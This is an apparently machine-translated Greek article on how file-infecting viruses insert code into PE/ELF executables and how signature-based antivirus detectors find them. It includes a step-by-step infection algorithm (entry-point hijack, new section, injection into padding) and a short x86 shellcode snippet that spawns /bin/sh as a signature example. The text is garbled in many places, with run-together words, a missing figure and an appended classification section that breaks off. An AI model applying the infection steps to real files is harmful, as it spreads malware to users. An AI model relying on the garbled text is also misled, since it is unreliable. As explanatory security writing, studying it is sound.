προγραμματιστής δηλώνει έναν πίνακα ενός εκατομμυρίου στοιχείων σε ένα πρόγραμμα, αλλά σκοπεύει να τον συμπληρώσει κατά την εκτέλεση, ο μεταγλωττιστής δεν θα αυξήσει το psize (δεν χρειάζεται να αποθηκεύσετε τα περιεχόμενα του πίνακα στον δίσκο πριν από την εκκίνηση), αλλά το vsize θα το αυξήσει κατά ένα εκατομμύριο (κατά το χρόνο εκτέλεσης, πρέπει να εκχωρηθεί αρκετή μνήμη για τη συστοιχία).

Οι σημαίες (χαρακτηριστικά πρόσβασης) θα αντιστοιχιστούν στις σελίδες μνήμης στις οποίες θα αντιστοιχιστεί η ενότητα. Για παράδειγμα, μια ενότητα με εκτελέσιμο κώδικα θα έχει χαρακτηριστικά r_x (ανάγνωση, εκτέλεση) και μια ενότητα δεδομένων θα έχει χαρακτηριστικά rw_ (ανάγνωση, εγγραφή). Ένας επεξεργαστής που προσπαθεί να εκτελέσει κώδικα σε μια σελίδα χωρίς σημαία εκτέλεσης θα δημιουργήσει μια εξαίρεση, το ίδιο ισχύει για μια προσπάθεια εγγραφής σε μια σελίδα χωρίς το χαρακτηριστικό w, επομένως, κατά την τοποθέτηση του κώδικα ιού, ο κατασκευαστής ιών πρέπει να λάβει υπόψη χαρακτηριστικά των σελίδων μνήμης στις οποίες θα βρίσκεται ο κώδικας του ιού. Μέχρι πρόσφατα, τυπικές ενότητες μη αρχικοποιημένων δεδομένων (για παράδειγμα, η περιοχή στοίβας ενός προγράμματος) είχαν χαρακτηριστικά rwx (ανάγνωση, εγγραφή, εκτέλεση), τα οποία επέτρεπαν την αντιγραφή κώδικα απευθείας στη στοίβα και την εκτέλεσή του εκεί. Στις μέρες μας θεωρείται μη μοντέρνο και επικίνδυνο, και τον τελευταίο καιρό λειτουργικά συστήματαΗ περιοχή στοίβας είναι μόνο για δεδομένα. Φυσικά, το ίδιο το πρόγραμμα μπορεί να αλλάξει τα χαρακτηριστικά της σελίδας μνήμης κατά το χρόνο εκτέλεσης, αλλά αυτό περιπλέκει την υλοποίηση.

Επίσης, η κεφαλίδα περιέχει το Entry Point - τη διεύθυνση της πρώτης εντολής από την οποία ξεκινά η εκτέλεση του αρχείου.

Είναι επίσης απαραίτητο να αναφέρουμε μια τόσο σημαντική ιδιότητα των εκτελέσιμων αρχείων για τους κατασκευαστές ιών όπως η ευθυγράμμιση. Προκειμένου το αρχείο να διαβάζεται βέλτιστα από το δίσκο και να εμφανίζεται στη μνήμη, οι ενότητες σε εκτελέσιμα αρχεία ευθυγραμμίζονται κατά μήκος ορίων που είναι πολλαπλάσια των δυνάμεων του δύο και ο ελεύθερος χώρος που απομένει από το padding γεμίζει με κάτι κατά την κρίση του μεταγλωττιστή. Για παράδειγμα, είναι λογικό να ευθυγραμμίζονται τμήματα σύμφωνα με το μέγεθος της σελίδας μνήμης - τότε είναι βολικό να το αντιγράψετε εξ ολοκλήρου στη μνήμη και να εκχωρήσετε χαρακτηριστικά. Δεν θα θυμάμαι καν για όλες αυτές τις ευθυγραμμίσεις οπουδήποτε υπάρχει ένα περισσότερο ή λιγότερο τυπικό κομμάτι δεδομένων ή κώδικα, είναι ευθυγραμμισμένο (κάθε προγραμματιστής γνωρίζει ότι υπάρχουν ακριβώς 1024 μέτρα σε ένα χιλιόμετρο). Λοιπόν, η περιγραφή των προτύπων Portable Executable (PE) και Executable Linux Format (ELF) για τον εκτελέσιμο κώδικα που λειτουργεί με μεθόδους ασφαλείας είναι εγχειρίδια.

Δεδομένου ότι οι διευθύνσεις μέσα σε όλες αυτές τις ενότητες είναι συνδεδεμένες, απλώς βάλτε ένα κομμάτι κώδικα στη μέση μιας ενότητας και «δείξτε» το με JMP δεν θα λειτουργήσει. Επομένως, δημοφιλή μέρη για την ένεση κωδικού ιού είναι:

  • ενότητα κύριου κώδικα (ξαναγραφή από τον ιό της αρχής του εκτελέσιμου κώδικα ξεκινώντας ακριβώς από το Σημείο Εισόδου).
  • γέμιση μεταξύ του τέλους του τίτλου και της πρώτης ενότητας. Δεν υπάρχει τίποτα εκεί και είναι πολύ πιθανό να χωρέσει έναν μικρό ιό (ή τον φορτωτή του) εκεί χωρίς να σπάσει το αρχείο.
  • μια νέα ενότητα που μπορεί να προστεθεί στην κεφαλίδα και να τοποθετηθεί στο αρχείο μετά από όλα τα άλλα. Σε αυτή την περίπτωση, δεν θα σπάσουν εσωτερικές μετατοπίσεις, ούτε θα υπάρχουν προβλήματα με τη θέση. Είναι αλήθεια ότι το τελευταίο τμήμα του αρχείου στο οποίο επιτρέπεται η εκτέλεση θα προσελκύσει φυσικά την προσοχή του ευρετικού.
  • γέμιση μεταξύ του τέλους των περιεχομένων της ενότητας και του ευθυγραμμισμένου άκρου της. Αυτό είναι πολύ πιο δύσκολο, αφού πρώτα πρέπει να βρούμε αυτό ακριβώς το «τέλος», και δεν είναι γεγονός ότι θα είμαστε τυχεροί και θα υπάρχει αρκετός χώρος. Αλλά για ορισμένους μεταγλωττιστές αυτό το μέρος μπορεί να ανιχνευθεί απλώς με χαρακτηριστικά byte
Υπάρχουν πιο πονηροί τρόποι, μερικούς από τους οποίους θα περιγράψω στο δεύτερο άρθρο.

Τώρα για τη μεταβίβαση του ελέγχου. Για να λειτουργήσει ένας ιός, ο κώδικάς του πρέπει με κάποιο τρόπο να αποκτήσει έλεγχο. Πλέον προφανής τρόπος: πρώτα ο ιός παίρνει τον έλεγχο και μετά, αφού δουλέψει, το πρόγραμμα υποδοχής. Αυτή είναι η απλούστερη μέθοδος, αλλά υπάρχουν επίσης επιλογές όταν ο ιός αποκτά έλεγχο, για παράδειγμα, μετά τον τερματισμό λειτουργίας του κεντρικού υπολογιστή ή στη μέση της εκτέλεσης, «αντικαθιστώντας» την εκτέλεση κάποιας συνάρτησης. Ακολουθούν διάφορες τεχνικές για τη μεταφορά ελέγχου (ο όρος Entry Point ή EP, που χρησιμοποιείται παρακάτω, είναι το σημείο εισόδου, δηλαδή η διεύθυνση στην οποία ο φορτωτής εκκίνησης του συστήματος θα μεταφέρει τον έλεγχο αφού προετοιμάσει το εκτελέσιμο αρχείο για εκκίνηση):

  1. Το JMP αντικαθιστά τα πρώτα byte στο σημείο εισόδου του αρχείου με το σώμα του ιού. Ο ιός αποθηκεύει τα διαγραμμένα bytes στο σώμα του και, με την ολοκλήρωση της εργασίας του, τα επαναφέρει και μεταφέρει τον έλεγχο στην αρχή του αποκατασταμένου buffer.
  2. Μια μέθοδος παρόμοια με την προηγούμενη, αλλά αντί για byte, ο ιός αποθηκεύει αρκετές πλήρεις οδηγίες μηχανής στο Entry Point και στη συνέχεια μπορεί, χωρίς να επαναφέρει τίποτα (παρακολουθώντας μόνο τη σωστή εκκαθάριση της στοίβας), να τις εκτελέσει αφού ολοκληρώσει τη δική του εργασία και μεταφέρετε τον έλεγχο στη διεύθυνση της εντολής που ακολουθεί «κλεμμένα».
  3. Όπως και στην περίπτωση της υλοποίησης, υπάρχουν πιο πονηροί τρόποι, αλλά θα τους εξετάσουμε και παρακάτω, ή θα τους αναβάλουμε για το επόμενο άρθρο.
Όλα αυτά είναι τρόποι για να εισαγάγετε σωστά ένα buffer με κώδικα σε ένα εκτελέσιμο αρχείο. Στην περίπτωση αυτή, οι παράγραφοι 2 και 3. υποδηλώνει λειτουργικότητα που σας επιτρέπει να κατανοήσετε ποια byte είναι οδηγίες και πού βρίσκονται τα όρια μεταξύ των εντολών. Εξάλλου, δεν μπορούμε να "σκίσουμε" τις οδηγίες στη μέση, διαφορετικά όλα θα σπάσουν. Έτσι, προχωράμε ομαλά στην εξέταση των αποσυναρμολογητών σε ιούς. Θα χρειαστούμε την ιδέα του πώς λειτουργούν οι αποσυναρμολογητές για να εξετάσουμε όλες τις συνήθεις τεχνικές για την εργασία με εκτελέσιμο κώδικα, οπότε δεν πειράζει αν το περιγράψω λίγο τώρα.

Εάν εφαρμόσουμε τον κώδικά μας στη θέση ακριβώς ανάμεσα στις οδηγίες, μπορούμε να αποθηκεύσουμε το περιβάλλον (στοίβα, σημαίες) και, έχοντας εκτελέσει τον κώδικα του ιού, να επαναφέρουμε τα πάντα πίσω, επιστρέφοντας τον έλεγχο στο κεντρικό πρόγραμμα. Φυσικά, αυτό μπορεί επίσης να είναι πρόβλημα εάν χρησιμοποιούνται εργαλεία παρακολούθησης ακεραιότητας κώδικα, anti-debugging κ.λπ., αλλά αυτό θα συζητηθεί επίσης στο δεύτερο άρθρο. Για να βρούμε μια τέτοια θέση, χρειαζόμαστε αυτό:

  • τοποθετήστε έναν δείκτη ακριβώς στην αρχή κάποιας εντολής (δεν μπορείτε απλώς να πάρετε μια τυχαία θέση στην εκτελέσιμη ενότητα και να ξεκινήσετε την αποσυναρμολόγηση από αυτήν· το ίδιο byte μπορεί να είναι ταυτόχρονα ένας κωδικός εντολής και δεδομένα)
  • προσδιορίστε το μήκος της εντολής (για την αρχιτεκτονική x86, οι εντολές έχουν διαφορετικά μήκη)
  • μετακινήστε το δείκτη προς τα εμπρός σε αυτό το μήκος. Θα βρεθούμε στην αρχή της επόμενης διδασκαλίας.
  • επαναλάβετε μέχρι να αποφασίσουμε να σταματήσουμε
Αυτή είναι η ελάχιστη λειτουργικότητα που απαιτείται για να αποφευχθεί η σύλληψη στη μέση μιας εντολής και μια συνάρτηση που παίρνει έναν δείκτη σε μια συμβολοσειρά byte και επιστρέφει το μήκος της εντολής ονομάζεται αποσυναρμολογητής μήκους. Για παράδειγμα, ο αλγόριθμος μόλυνσης θα μπορούσε να είναι ο εξής:
  1. Επιλέγουμε ένα νόστιμο εκτελέσιμο αρχείο (αρκετά παχύ ώστε να χωράει το σώμα του ιού, με την επιθυμητή κατανομή τμημάτων κ.λπ.).
  2. Διαβάζουμε τον κώδικα μας (κώδικας σώματος ιού).
  3. Παίρνουμε τις πρώτες οδηγίες από το αρχείο του θύματος.
  4. Τα προσθέτουμε στον κώδικα ιών (αποθηκεύουμε τις απαραίτητες πληροφορίες για την επαναφορά της λειτουργικότητας).
  5. Προσθέτουμε στον κώδικα ιών μια μετάβαση σε μια εντολή που συνεχίζει την εκτέλεση του κώδικα του θύματος. Έτσι, μετά την εκτέλεση δικός κωδικόςο ιός θα εκτελέσει σωστά τον πρόλογο του κώδικα του θύματος.
  6. Δημιουργούμε νέα ενότητα, γράψτε τον κωδικό ιού εκεί και επεξεργαστείτε την κεφαλίδα.
  7. Στη θέση αυτών των πρώτων οδηγιών βάζουμε μια μετάβαση στον κώδικα ιών.
Αυτή είναι μια παραλλαγή ενός εντελώς σωστού ιού που μπορεί να διεισδύσει σε ένα εκτελέσιμο αρχείο, να μην σπάσει τίποτα, να εκτελέσει κρυφά τον κώδικά του και να επιστρέψει την εκτέλεση στο πρόγραμμα υποδοχής. Τώρα, ας τον πιάσουμε.

Ανατομία ανιχνευτή

Ξαφνικά, από το πουθενά, ένας ιππότης εμφανίζεται σε έναν λευκό υπολογιστή, στο αριστερό του χέρι έχει έναν εντοπισμό σφαλμάτων και στο δεξί του έναν αποσυναρμολογητή, έναν προγραμματιστή για μια εταιρεία προστασίας από ιούς. Από πού ήρθε; Φυσικά, το μαντέψατε. Με μεγάλη πιθανότητα εμφανίστηκε εκεί από την «γειτονική περιοχή». Ο τομέας προστασίας από ιούς όσον αφορά τον προγραμματισμό είναι ιδιαίτερα σεβαστός από τους γνώστες, επειδή αυτοί οι τύποι πρέπει να ασχοληθούν με πολύ εξελιγμένους αλγόριθμους και σε μάλλον περιορισμένες συνθήκες. Κρίνετε μόνοι σας: έχετε εκατοντάδες χιλιάδες αντίγραφα οποιασδήποτε μόλυνσης και ένα εκτελέσιμο αρχείο στην είσοδο σας, πρέπει να εργαστείτε σχεδόν σε πραγματικό χρόνο και το κόστος ενός σφάλματος είναι πολύ υψηλό.

Για antivirus, όπως και για οποιοδήποτε άλλο μηχανή πεπερασμένης κατάστασης, λαμβάνοντας μια δυαδική απόφαση «ναι/όχι» (μολυσμένο/υγιές), υπάρχουν δύο τύποι σφαλμάτων - ψευδώς θετικά και ψευδώς αρνητικά (αναγνώρισε λανθασμένα το αρχείο ως μολυσματικό, κατά λάθος παραλείψει το μολυσμένο). Είναι σαφές ότι συνολικός αριθμόςΤα σφάλματα πρέπει να μειωθούν σε κάθε περίπτωση, αλλά ένα ψευδές αρνητικό είναι πολύ πιο δυσάρεστο για ένα antivirus παρά ένα ψευδώς θετικό. "Μετά τη λήψη του torrent, απενεργοποιήστε το πρόγραμμα προστασίας από ιούς πριν εγκαταστήσετε το παιχνίδι" - σας φαίνεται γνωστό; Αυτό είναι "ψευδώς θετικό" - το crack.exe που γράφει κάτι σε ένα εκτελέσιμο αρχείο .exe μοιάζει με ιό σε έναν αρκετά έξυπνο ευρετικό αναλυτή (δείτε παρακάτω). Όπως λέει και η παροιμία: «Είναι καλύτερα να είσαι ασφαλής παρά να λυπάσαι».

Νομίζω ότι δεν χρειάζεται να σας περιγράψω τα στοιχεία ενός σύγχρονου antivirus, όλα περιστρέφονται γύρω από μια λειτουργία - έναν ανιχνευτή προστασίας από ιούς. Οθόνη που ελέγχει τα αρχεία εν κινήσει, σάρωση δίσκου, έλεγχος συνημμένα αλληλογραφίας, καραντίνα και απομνημόνευση ήδη σαρωμένων αρχείων - όλα αυτά συνδέονται με τον κύριο πυρήνα ανίχνευσης. Το δεύτερο βασικό στοιχείο ενός προγράμματος προστασίας από ιούς είναι μια ανανεωμένη βάση δεδομένων χαρακτηριστικών, χωρίς την οποία διατηρείται το πρόγραμμα προστασίας από ιούς τρέχουσα κατάστασηαδύνατος. Το τρίτο, αρκετά σημαντικό, αλλά άξιο μιας ξεχωριστής σειράς άρθρων στοιχείο είναι η παρακολούθηση του συστήματος για ύποπτη δραστηριότητα.

Έτσι (εξετάζουμε τους κλασικούς ιούς), στην είσοδο έχουμε ένα εκτελέσιμο αρχείο και έναν από τους εκατοντάδες χιλιάδες πιθανούς ιούς σε αυτό. Ας εντοπίσουμε. Ας είναι αυτό ένα κομμάτι εκτελέσιμου κώδικα ιού:
XX XX XX XX XX XX ; η αρχή του ιού έχει μήκος N byte. . . 68 2F 2F 73 68 push 0x68732f2f ; “hs//” 68 2F 62 69 6E push 0x6e69622f ; “nib/” 8B DC mov ebx, esp ; στο ESP η διεύθυνση γραμμής είναι τώρα “/bin/sh” B0 11 mov al, 11 CD 80 int 0x80 XX XX XX XX ; το τέλος του ιού έχει μήκος M byte. . .
Θέλω αμέσως να πάρω απλώς ένα πακέτο κωδικών (68 2F 2F 73 68 68 2F 62 69 6E 8B DC B0 11 CD 80) και να αναζητήσω αυτήν τη συμβολοσειρά byte στο αρχείο. Αν βρεθεί, πιαστεί, κάθαρμα. Αλλά, δυστυχώς, αποδεικνύεται ότι το ίδιο πακέτο byte βρίσκεται σε άλλα αρχεία (καλά, ποτέ δεν ξέρεις ποιος καλεί διερμηνέας εντολών), και ακόμη και υπάρχουν «εκατοντάδες» τέτοιες συμβολοσειρές για αναζήτηση, αν κάνετε αναζήτηση για καθεμία, τότε καμία βελτιστοποίηση δεν θα βοηθήσει. Το μοναδικό, γρήγορο και τον σωστό τρόπογια να ελέγξετε την παρουσία μιας τέτοιας γραμμής σε ένα αρχείο είναι να ελέγξετε την ύπαρξή της σε ΣΤΑΘΕΡΗ μετατόπιση. Από πού μπορώ να το πάρω;

Ας θυμηθούμε τη «γειτονική περιοχή» - ειδικά τα μέρη σχετικά με το πού τοποθετείται ο ιός και πώς μεταφέρει τον έλεγχο στον εαυτό του:

  • ο ιός είναι ενσωματωμένος στο padding μεταξύ της κεφαλίδας και της αρχής της πρώτης ενότητας. Σε αυτήν την περίπτωση, μπορείτε να ελέγξετε την ύπαρξη αυτού του bytestring με μετατόπιση
    "μήκος κεφαλίδας" + N (όπου N είναι ο αριθμός των byte από την αρχή του ιού έως τη συμβολοσειρά byte)
  • ο ιός βρίσκεται σε μια νέα, ξεχωριστή ενότητα. Σε αυτήν την περίπτωση, μπορείτε να ελέγξετε την ύπαρξη μιας συμβολοσειράς byte από την αρχή όλων των ενοτήτων με κώδικα
  • ο ιός έχει εισέλθει στο padding μεταξύ του τέλους του κώδικα και του τέλους της ενότητας κώδικα. Μπορείτε να χρησιμοποιήσετε μια αρνητική μετατόπιση από το τέλος της ενότητας, όπως "τμήμα τέλους κώδικα" - M (όπου M είναι ο αριθμός των byte από το τέλος της συμβολοσειράς byte έως το τέλος του κώδικα ιού) - "συμβολοσειρά byte μήκος"
Τώρα από εκεί για τη μεταφορά του ελέγχου:
  • ο ιός έγραψε τις οδηγίες του απευθείας πάνω από τις οδηγίες στο Σημείο Εισόδου. Σε αυτήν την περίπτωση, αναζητούμε μια συμβολοσειρά byte απλώς με τη μετατόπιση "Σημείο εισόδου" + N (όπου N είναι ο αριθμός των byte από την αρχή του ιού έως τη συμβολοσειρά byte)
  • ο ιός που καταγράφηκε στο Entry Point JMP στο σώμα του. Σε αυτήν την περίπτωση, πρέπει πρώτα να υπολογίσετε πού κοιτάζει αυτό το JMP και, στη συνέχεια, να αναζητήσετε τη συμβολοσειρά byte στη μετατόπιση "JMP jump address" + N (όπου N είναι ο αριθμός των byte από την αρχή του ιού έως τη συμβολοσειρά byte)
Για κάποιο λόγο βαρέθηκα να γράφω "byte string", αυτή μεταβλητό μήκος, η αποθήκευσή του στη βάση δεδομένων είναι άβολη και εντελώς περιττή, επομένως αντί για μια συμβολοσειρά byte θα χρησιμοποιήσουμε το μήκος της συν CRC32 από αυτήν. Αυτή η εγγραφή είναι πολύ σύντομη και η σύγκριση λειτουργεί γρήγορα, αφού ο αλγόριθμος CRC32 δεν είναι αργός. Επιδιώξτε την αντίσταση σε σύγκρουση αθροίσματα ελέγχουδεν υπάρχει λόγος, αφού η πιθανότητα σύγκρουσης με βάση σταθερές μετατοπίσεις είναι αμελητέα. Επιπλέον, ακόμη και σε περίπτωση σύγκρουσης, το σφάλμα θα είναι τύπου «ψευδώς θετικό», που δεν είναι τόσο τρομακτικό. Ας συνοψίσουμε όλα τα παραπάνω, εδώ είναι η κατά προσέγγιση δομή του λήμματος στο δικό μας βάση δεδομένων προστασίας από ιούς:
  1. Αναγνωριστικό ιού
  2. σημαίες που υποδεικνύουν πού να διαβάσετε τη μετατόπιση (από το EP, από το τέλος της κεφαλίδας, από το τέλος της πρώτης ενότητας, από την αρχή όλων των ενοτήτων, από τη διεύθυνση μετάβασης της εντολής JMP στο EP, κ.λπ.)
  3. όφσετ
  4. μήκος υπογραφής (Lsig)
  5. Υπογραφές CRC32 (CRCsig)
Βελτιστοποιούμε την είσοδο (αφήνουμε μόνο υπογραφές που «ταιριάζουν». αυτό το αρχείο, αμέσως από την κεφαλίδα ετοιμάζουμε ένα σύνολο απαραίτητων μετατοπίσεων) και περαιτέρω:
( # για όλες τις εγγραφές που ταιριάζουν - με βάση τις σημαίες, υπολογίζουμε τη βασική μετατόπιση στο αρχείο (αρχή της ενότητας κώδικα, σημείο εισόδου κ.λπ.) - προσθέστε μετατόπιση σε αυτήν - διαβάστε τα byte Lsig - μετρήστε CRC32 από αυτά - εάν σπίρτα, πιάσαμε τον ιό)
Ούρα, εδώ είναι το πρώτο μας antivirus. Είναι πολύ ωραίο, γιατί με τη βοήθεια μιας αρκετά ολοκληρωμένης βάσης δεδομένων υπογραφών, κανονικά επιλεγμένων σημαιών και καλής βελτιστοποίησης, αυτός ο ανιχνευτής είναι σε θέση να συλλάβει πολύ γρήγορα το 95% όλων των ειδών μολύνσεων (η συντριπτική πλειοψηφία των σύγχρονων κακόβουλων προγραμμάτων είναι απλά εκτελέσιμα αρχεία , χωρίς καμία δυνατότητα μετάλλαξης). Στη συνέχεια, το παιχνίδι ξεκινά με το "ποιος θα ενημερώσει τις βάσεις δεδομένων υπογραφών πιο γρήγορα" και "ποιος θα σταλεί πρώτα ένα νέο αντίγραφο κάποιου άσχημου πράγματος".

Η συλλογή και η καταλογογράφηση αυτού του «λάσπου» είναι μια πολύ μη τετριμμένη εργασία, αλλά απολύτως απαραίτητη για τη δοκιμή υψηλής ποιότητας του ανιχνευτή. Η συλλογή μιας βάσης δεδομένων αναφοράς εκτελέσιμων αρχείων δεν είναι εύκολη δουλειά: προσπαθήστε να βρείτε όλες τις περιπτώσεις μολυσμένων αρχείων (για σύνθετες περιπτώσεις σε πολλά αντίγραφα), να τις καταλογίσετε, να τις αναμίξετε με "καθαρά" αρχεία και να τρέχετε τακτικά τον ανιχνευτή πάνω τους για να εντοπισμός σφαλμάτων ανίχνευσης. Μια τέτοια βάση δεδομένων έχει συλλεχθεί με την πάροδο των ετών και αποτελεί πολύτιμο περιουσιακό στοιχείο των εταιρειών προστασίας από ιούς. Ίσως κάνω λάθος και είναι πραγματικά δυνατό να το αποκτήσω (όλα τα είδη των διαδικτυακών υπηρεσιών ελέγχου ιών είναι αρκετά ικανά να παρέχουν κάποιο ανάλογο αυτού), αλλά όταν έψαξα αυτό το ζήτημα, ήταν αδύνατο να βρω κάτι παρόμοιο (σύμφωνα με να τουλάχιστον, υπό Linux).

Ευρετικός αναλυτής

Τι τρομακτική λέξη - "ευρετικός αναλυτής", τώρα δεν θα τη δείτε σε διεπαφές προστασίας από ιούς (μάλλον τρομάζει τους χρήστες). Αυτό είναι ένα από τα πιο ενδιαφέροντα μέρη του προγράμματος προστασίας από ιούς, καθώς του χώνουν τα πάντα που δεν χωρούν σε κανέναν από τους κινητήρες (ούτε τον κινητήρα υπογραφής ούτε τον εξομοιωτή) και είναι παρόμοιο με έναν γιατρό που βλέπει ότι ένας ασθενής βήχει και το φτέρνισμα, αλλά δεν είναι σε θέση να προσδιορίσει μια συγκεκριμένη ασθένεια δεν μπορεί. Αυτός είναι ο κώδικας που ελέγχει το αρχείο για ορισμένα ενδεικτικά σημάδια μόλυνσης. Παραδείγματα τέτοιων σημείων:
  • λανθασμένη (κατεστραμμένη από ιό, αλλά λειτουργική) κεφαλίδα αρχείου
  • JMP ακριβώς στο σημείο εισόδου
  • "rwx" σε μια ενότητα κώδικα
Λοιπόν, και ούτω καθεξής. Εκτός από την ένδειξη του γεγονότος της μόλυνσης, ένα ευρετικό μπορεί να βοηθήσει στη λήψη μιας απόφασης: πρέπει να εκτελέσουμε μια πιο «βαριά» ανάλυση του αρχείου; Κάθε ζώδιο έχει διαφορετικό βάρος, από "κάποιο είδος ύποπτου" έως "Δεν ξέρω τι, αλλά το αρχείο είναι σίγουρα μολυσμένο." Αυτά είναι τα σημάδια που προκαλούν την πλειοψηφία των «ψευδώς θετικών» σφαλμάτων. Ας μην ξεχνάμε επίσης ότι είναι το ευρετικό που μπορεί να παρέχει στην εταιρεία προστασίας από ιούς αντίγραφα πιθανών ιών. Δούλεψε η ευρετική, αλλά δεν βρέθηκε τίποτα συγκεκριμένο; Αυτό σημαίνει ότι το αρχείο είναι σίγουρα υποψήφιο για αποστολή σε εταιρεία προστασίας από ιούς.

Διαειδική αλληλεπίδραση και εξέλιξη

Όπως είδαμε, για μια γρήγορη και ακριβή σύγκριση, ο ανιχνευτής χρειάζεται τα ίδια τα byte υπογραφής και τη μετατόπισή του. Ή, με άλλα λόγια, τα περιεχόμενα του κώδικα και τη διεύθυνση της θέσης του στο αρχείο κεντρικού υπολογιστή. Επομένως, είναι σαφές πώς αναπτύχθηκαν οι ιδέες της απόκρυψης του εκτελέσιμου κώδικα των ιών - προς δύο κατευθύνσεις:
  • απόκρυψη του κώδικα του ίδιου του ιού.
  • κρύβοντας το σημείο εισόδου του.
Η απόκρυψη του κώδικα του ιού είχε ως αποτέλεσμα την εμφάνιση πολυμορφικών κινητήρων. Δηλαδή κινητήρες που επιτρέπουν στον ιό να αλλάζει τον κωδικό του σε κάθε νέα γενιά. Σε κάθε νέο μολυσμένο αρχείο, το σώμα του ιού μεταλλάσσεται, προσπαθώντας να κάνει την ανίχνευση πιο δύσκολη. Αυτό καθιστά δύσκολη τη δημιουργία περιεχομένου υπογραφής.

Το Entry Point Obscuring είχε ως αποτέλεσμα την εμφάνιση αυτόματων αποσυναρμολογητών σε μηχανές ιών για τον προσδιορισμό, τουλάχιστον, των οδηγιών μετάβασης. Ο ιός προσπαθεί να κρύψει το μέρος από το οποίο πραγματοποιείται η μετάβαση στον κώδικά του, χρησιμοποιώντας από το αρχείο αυτό που τελικά οδηγεί στη μετάβαση: JMP, CALL, RET όλων των ειδών, πίνακες διευθύνσεων κ.λπ. Έτσι, ο ιός δυσκολεύει τον καθορισμό της μετατόπισης της υπογραφής.

Θα δούμε μερικούς αλγόριθμους τέτοιων κινητήρων και ανιχνευτών με πολύ περισσότερες λεπτομέρειες στο δεύτερο άρθρο, το οποίο σκοπεύω να γράψω στο εγγύς μέλλον.

Παράλληλα με την ανάπτυξη μηχανών ιών και ανιχνευτών που τους αντιτίθενται, εμπορική προστασίαεκτελέσιμα αρχεία. Εμφανίστηκε τεράστιο ποσόμικρό εμπορικά προγράμματα, και οι προγραμματιστές χρειάζονταν μηχανές που θα τους επέτρεπαν να πάρουν ένα αρχείο EXE και να το «τυλίξουν» σε κάποιο είδος «φάκελου» που μπορεί να δημιουργήσει με ασφάλεια έναν έγκυρο σειριακό αριθμό. Και ποιος ξέρει πώς να κρύψει τον εκτελέσιμο κώδικα και να τον ενσωματώσει σε εκτελέσιμα αρχεία χωρίς να χάσει τη λειτουργικότητα; Αυτό είναι σωστό, οι ίδιοι προγραμματιστές από ένα "σχετικό πεδίο". Επομένως, η σύνταξη ενός καλού πολυμορφικού ιού και η προστασία για ένα εκτελέσιμο αρχείο είναι πολύ παρόμοιες εργασίες, χρησιμοποιώντας τους ίδιους αλγόριθμους και εργαλεία. Η διαδικασία ανάλυσης ιών και δημιουργίας υπογραφών και η παραβίαση εμπορικού λογισμικού είναι επίσης παρόμοια. Και στις δύο περιπτώσεις, πρέπει να φτάσετε στον αληθινό κώδικα και είτε να δημιουργήσετε μια υπογραφή είτε να εξαγάγετε έναν αλγόριθμο για τη δημιουργία ενός σειριακού αριθμού από αυτόν.

Υπάρχουν πολλές σελίδες στο Διαδίκτυο με θέμα «ταξινόμηση ιών υπολογιστών». Αλλά συμφωνήσαμε, ένας ιός είναι κάτι που μπορεί να αναπαραχθεί στο σύστημα και το οποίο απαιτεί ένα αρχείο φορέα. Επομένως, όλα τα είδη Trojans-rootkits-malware δεν είναι ιοί, αλλά ένας τύπος κώδικα ωφέλιμου φορτίου που ένας ιός μπορεί να μεταφέρει στον εαυτό του. Για τις τεχνολογίες που περιγράφονται στο άρθρο, μπορεί να υπάρχει μόνο μία ταξινόμηση ιών υπολογιστών: πολυμορφικοί και μη πολυμορφικοί ιοί. Δηλαδή, αλλαγή από γενιά σε γενιά, ή όχι.

Ο ανιχνευτής που συζητείται στο άρθρο εντοπίζει εύκολα μη πολυμορφικούς (ονομάστε τους μονομορφικούς ή κάτι τέτοιο) ιούς. Λοιπόν, η μετάβαση σε πολυμορφικούς ιούς είναι εξαιρετική περίστασηΤέλος, ολοκληρώστε αυτό το άρθρο υποσχόμενοι να επιστρέψετε σε πιο ενδιαφέρουσες μεθόδους απόκρυψης εκτελέσιμου κώδικα

Ταξινόμηση

HLLO-Αντικατάσταση γλώσσας υψηλού επιπέδου. Ένας τέτοιος ιός ξαναγράφει το πρόγραμμα με το σώμα του. Εκείνοι.
το πρόγραμμα καταστρέφεται και όταν ο χρήστης προσπαθεί να ξεκινήσει το πρόγραμμα, ο ιός ξεκινά και «μολύνει» περαιτέρω.

HLLC-Συνοδευτικό γλώσσας υψηλού επιπέδου. Οι περισσότεροι από αυτούς τους ιούς χρονολογούνται από την αρχαιότητα (8-10 χρόνια πριν), όταν οι χρήστες είχαν DOS και ήταν πολύ τεμπέληδες. Αυτοί οι ιοί αναζητούν ένα αρχείο και, χωρίς να το αλλάξουν, δημιουργούν ένα αντίγραφο του εαυτού τους, αλλά με την επέκταση .COM. Εάν ένας τεμπέλης χρήστης γράψει μόνο το όνομα του αρχείου στη γραμμή εντολών, τότε το DOS αναζητά πρώτα αρχείο COM, εκκινώντας έναν ιό που πρώτα κάνει τη δουλειά του και μετά εκκινεί το αρχείο EXE. Υπάρχει μια άλλη τροποποίηση
HLLC - πιο σύγχρονο (7 ετών;)): Ο ιός μετονομάζει το αρχείο, διατηρώντας το όνομα, αλλά αλλάζοντας την επέκταση - από EXE σε, ας πούμε, OBJ ή MAP. Ο ιός αντικαθιστά το αρχικό αρχείο με το σώμα του. Εκείνοι. ο χρήστης εκτοξεύει έναν ιό, ο οποίος, μετά την αναπαραγωγή, εκκινεί το επιθυμητό πρόγραμμα - όλοι είναι ευχαριστημένοι.

HLLP-High Level Language Parasitic. Το πιο εξελιγμένο. Αποδίδουν το σώμα τους στο αρχείο από μπροστά (ο ιός ξεκινά πρώτα, μετά επαναφέρει το πρόγραμμα και το εκτελεί) ή από το πίσω μέρος
- στη συνέχεια στην κεφαλίδα του προγράμματος γράφουμε jmp κοντά στο σώμα του ιού, ακόμα εκκινώντας πρώτα.

Μπορούμε να αφήσουμε το ίδιο το πρόγραμμα αμετάβλητο, τότε θα μοιάζει με αυτό:

Τι είναι το MZ, νομίζω ότι το μαντέψατε :) Αυτά είναι τα αρχικά του αγαπημένου σας Mark Zbikowski, τα οποία όρισε σεμνά στην υπογραφή του αρχείου exe :) Και τα έβαλα εδώ για να καταλάβετε
— η μόλυνση συμβαίνει σύμφωνα με την αρχή του copy / b virus.exe program.exe και δεν υπάρχουν ειδικά κόλπα εδώ. Όχι τώρα. Αλλά εσύ κι εγώ θα τους τσακίσουμε
